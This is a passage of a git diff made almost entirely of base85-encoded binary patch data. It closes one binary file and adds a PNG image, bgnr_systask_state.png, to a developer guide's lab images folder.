zz;r5ICU@oba%UW@U&RsnjmE7w4wY#|5J9la`Z+c9fLwR3z#^=*#+CQ)D&Fc3R<}Nh9d)@QJB&L}ZW`hjcPXMB0{&cOJdmun#_Yn8+i z-WXwIGbqV0Id8e79O|oW!p`wpqKkoDq2tgy{p_l96AfPp0)9zzgY;i_$+|lyX&oF* zqvhCe1Ct7p39+(eMl@IqNaRNF!K{HtnbSQrVm}RMTFYLXi#$Wn>2<1IsO`@dfJ-!x zBRrHT6n}c3&mQq*6PiAyk;H8rw@9#9I(hIFYn(mNpx~1o%D>q+iNwq+CRKJjQ7N9W*ov1HnWTJ&}C_J<3e`jHBIed|)--{W_-xAIge~VDFPp zlZ7^fGt2@a7yagMmkMe$NrhvdtAhR-GXkD*Gpb=UbF93`GLg2KSR{jEClC-CHKt5N zVCF~zk@72AG9m;$NH>8a{qr_m0lt6N8y+XzMM`gj=DL92iBlag-z-q$v!D*^kIuVm8c!PYW;D&;PFIF z^g_(-PcqPy^v&?T%COIapb1{6r&q;9@IR*qUYHI|&%6s~#!v1dsL((Uu!0sdA;9BG zd}NXLy1{+b9Nt||3CRvXAO|Xelotu{6010~Fo8t`9ojVFe+47Cm&!eX(-g@KWqA*gN`e}0&yE-(pBx|w?H^E%lGXW2Wv6_ zT$vD;W>kw?*H5f}Z)(cm7u<}b;6&2BjLa6PGXS8gYCEfy9RM+9yqEf~fYd5l+<1Y3 zmH1bq;glxMf>lEuoXfP>5)J7+&xwIQ0Ofa_D6{?ISj`m2qi^hsxa{e`ECkFhx8^RM z6;0R+01S+~c&t%$7?kf)g(xagu}bnjR|I53b%^=J=f1!P(;zRltR13axzy~lHuhFa z)QS!ZQ8an0H=dd|0yc+2%Vg25(wuD{LukTsxU)1!4C7;DFE09SHB<#1-uIsGjF0rb z<(EfZe7mXf27?tdb_B9%UlU9{io9=ivN*JG(fDiv-_;zoX5?K9(BdJC5XMf=o@IQb=4l-!SyE)LIKtEj<6peHN z6UAHGs7Vd;q=r=xed1e!I++-=&Q38UUQlvoJtRVRknT_ z9Hgl^-V3G?I-%kFCc~XBNHTjXrqA$8e!V)UIIv()xn=p%a*3@cFi<6)Lw$lc+m@Ol zzBz)0TB`^id49H?hS_DTwJNqP?~D1+A2Xnl0rXplh7Y)+03ae*8nf^~i`AyA}*X_o-ehaT=WX4pMe^6-|zbsQ7ZVpj5!dja86uhE@^ z2Js|1Go>*K1^ zU#q`fz2z@jw3ufE4SWkU-3tWer)tM%5G#dRp3MTXWMw_L6=G1-5lhld5;e06kN6XM zjOCzdT%h^;ty|oQ0TfAdrTcuR7%_iAo;*#tg zF1rN}p?fKM^1@`%9K_27V_{MW%J@xkYP$+sf+i?%9ZVz#1EDM2HL{0}Ei}Uv~N|SBsC|gcEwrL+Afo_{Ik{ zALm@&1g`i$Z!x$tYCZ(Z!PiwPxH!Z$aMM6##+q@1&~?HUs-lMHECJZW85A^oP!s-0 zjQgU|H*gAk{+1h9aq-ka6rCS|b?(bhQmB+;R8(5pjZLzUD>fno|BpLLaw94{XH+Zf z+9~UhtlKT@)S1WOv=iq(ZpyqhebF!C^G@~yKNyxA1bwHaZ}f6KGEI;QQ6m{pxKz`a zD(RqY;R-~vT&?P*dU$*+7?-2SM}P)h0l#TQsCJF4)3Rm^f3q6#SHv@Rg|QFq zX7Alnr?hQ=mW4F6*XJ)b3*Cv*${d-2ws=&An@lqkx$KmB{nq!JT^>1+d{G<$64xO9 zZxHNvG9zGrvOFS+R%jd}4{{Q^B4InEqiU1(5okZ%Q4imLz~VYr_wt@?FwRyg=mQ+c zYIu}&T(aU*yH5@eeFaS}8}PRyxFRDlmF7TuP0@o5zZrWD!P{B;gdqpar9GdCn~$CZ zr@8F_Fhr8-6R7X@i7Pw1x^^euXz`{hOdQq`Nr@8&K7SrMSE4io<}{n#y{45{C}=&e z6DVcEI=(9us>>qNn5xZ_m0Td@5{qcZV#ReAwbIvBRio5J?`EU>z6(<;8`j%U>AX_rv&^*gy`9Ld{qq^5B71Vt)1!IQc2*2XnBkZa#UsFe-nI9~_X- zl^=CvqI>;4y_PNMzT zTZ>yS+tl0?PGb4pW@Q7%gUEK8gxlMhy#1`dXdOp{7IC-JDf-TMN`(b9AtB6j$1lRfah z>I6A_?Iqd)SZLo%nU8OdYrfk)Ao(?52);HF(xZ_dOYMDPrI6Z_jg3`n{z?5{>lufV zJoRGd8QM+;@aX(Eb;{xFfXq3?@b+8I<0d5TV4}oa0yDN$on={}hw4|TusV%T%4l!} z;ftP*j!y33bJhk?rpuhcqra`9CIcJo~i9*W(g+xR+s6ZfWkcQ^saTS+(F=p*s!_i&;6*aJn`ym%z!VW~Fz~>2Zdj_R( zYlIsa0y77{*=rz{Ym$%GfMVY`ZSd3^H;X9$*3P$q89ce2-pTzpCE)|JFI;32P6uTx z2N3hQRNp=x3dVDvgM~{ReWUuf-QyVgpnr-vC{iO3DdM|bO|qevaR!5dY!}g+0Szxs zSRvptTz9B?V*tIF<|=sc!RQmwzfZpb{8?_fxrre3;{Qc639oEn@l8hU|Nksnt^bp& c)qHx^M&#k>_2(uvknrzy4Sn?zRh!WN0`H(T)c^nh literal 0 HcmV?d00001 diff --git a/docs/devguide/labs/img/bgnr_systask_state.png b/docs/devguide/labs/img/bgnr_systask_state.png new file mode 100644 index 0000000000000000000000000000000000000000..977cc56de342c00470662812822118e461171782 GIT binary patch literal 37004 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 